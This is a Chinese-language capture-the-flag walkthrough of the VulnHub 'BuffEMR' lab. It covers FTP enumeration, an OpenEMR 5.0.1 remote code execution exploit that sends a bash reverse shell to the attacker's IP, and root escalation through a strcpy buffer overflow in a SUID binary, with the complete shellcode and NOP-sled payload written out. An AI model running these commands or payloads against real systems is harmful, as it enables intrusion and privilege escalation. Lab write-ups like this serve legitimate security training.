前期准備:
靶機地址:https://www.vulnhub.com/entry/buffemr-101,717/
kali攻擊機ip:192.168.11.129
靶機ip:192.168.11.135
一、信息收集
1.使用nmap對目標靶機進行掃描
發現開放了 21、22 和 80 端口。
2. 21端口
匿名登錄 ftp:
發現 share 文件夾,查看一下:
發現是 openemr 的源碼,里面肯定藏有密碼什么的,推測 80 端口上的應該是 openemr 的網站,我先把整個目錄都下載下來了:
wget -r -np -nH ftp://192.168.11.135/share/openemr/
2. 80端口
查看源碼也沒發現什么,試着訪問一下 /openemr:
發現了登錄界面,需要密碼,應該在 ftp 的文件中
直接搜的admin,驗證后是 admin:Monster123,登錄進系統:
二、漏洞利用
查看一下版本:
發現是 v5.0.1 ,找一下相關漏洞:
有一個遠程代碼執行,查看一下利用方式:
嘗試利用:
python 45161.py http://192.168.11.135/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/192.168.11.129/1234 0>&1'
查看一下文件:
發現沒有權限訪問 buffemr 家目錄,不過在 /var 下發現個 user.zip 壓縮包,傳到kali上爆破一下:
python -m SimpleHTTPServer 8009
wget http://192.168.11.135:8009/user.zip
解壓時發現需要密碼,爆破了很久都沒爆破出來,一開始以為這個壓縮包沒用,后來想着密碼應該在 ftp 的哪些文件中,找了很久,直接找文件名為 key 的文件
密碼是:c2FuM25jcnlwdDNkCg==,解壓 user.txt 壓縮包:
發現了 buffemr 用戶的密碼:Iamgr00t, ssh 登錄:
查看文件,發現一個 flag:
三、緩沖區溢出提權
查看權限和 SUID 二進制文件:
發現 /opt/dontexecute 文件比較可疑,查看一下:
發現這個二進制文件使用了一個名為 "strcpy" 的函數。strcpy() 函數沒有指定目標數組的大小,會導致緩沖區溢出。可以嘗試溢出緩沖區來運行 shell 代碼獲取 root 權限,先看一下 ASLR 禁用了沒有:
發現禁用了,gdb 運行:
gdb -q dontexecute
然后用 metasploit 中的 pattern_create.rb 生成數量 1000 的字符串用來計算偏移量:
將生成的字符串用命令 r 在 gdb 中運行二進制文件:
程序運行崩潰,計算一下偏移量:
./pattern_offset.rb -q 0x31724130
計算出偏移量是 512,查看ESP寄存器的值:
x/300wx $esp
用esp 寄存器的 0xffffd6a0 替換 4 個 B,因為是小字節序,倒過來寫,構造 payload:
先找個 shell:
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
我的 shell 是 53 字節:
NOP:512 - 53 = 459。
所以 payload:
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')
沒有提權成功,在外面運行一下:
獲得 root 權限,查看 flag: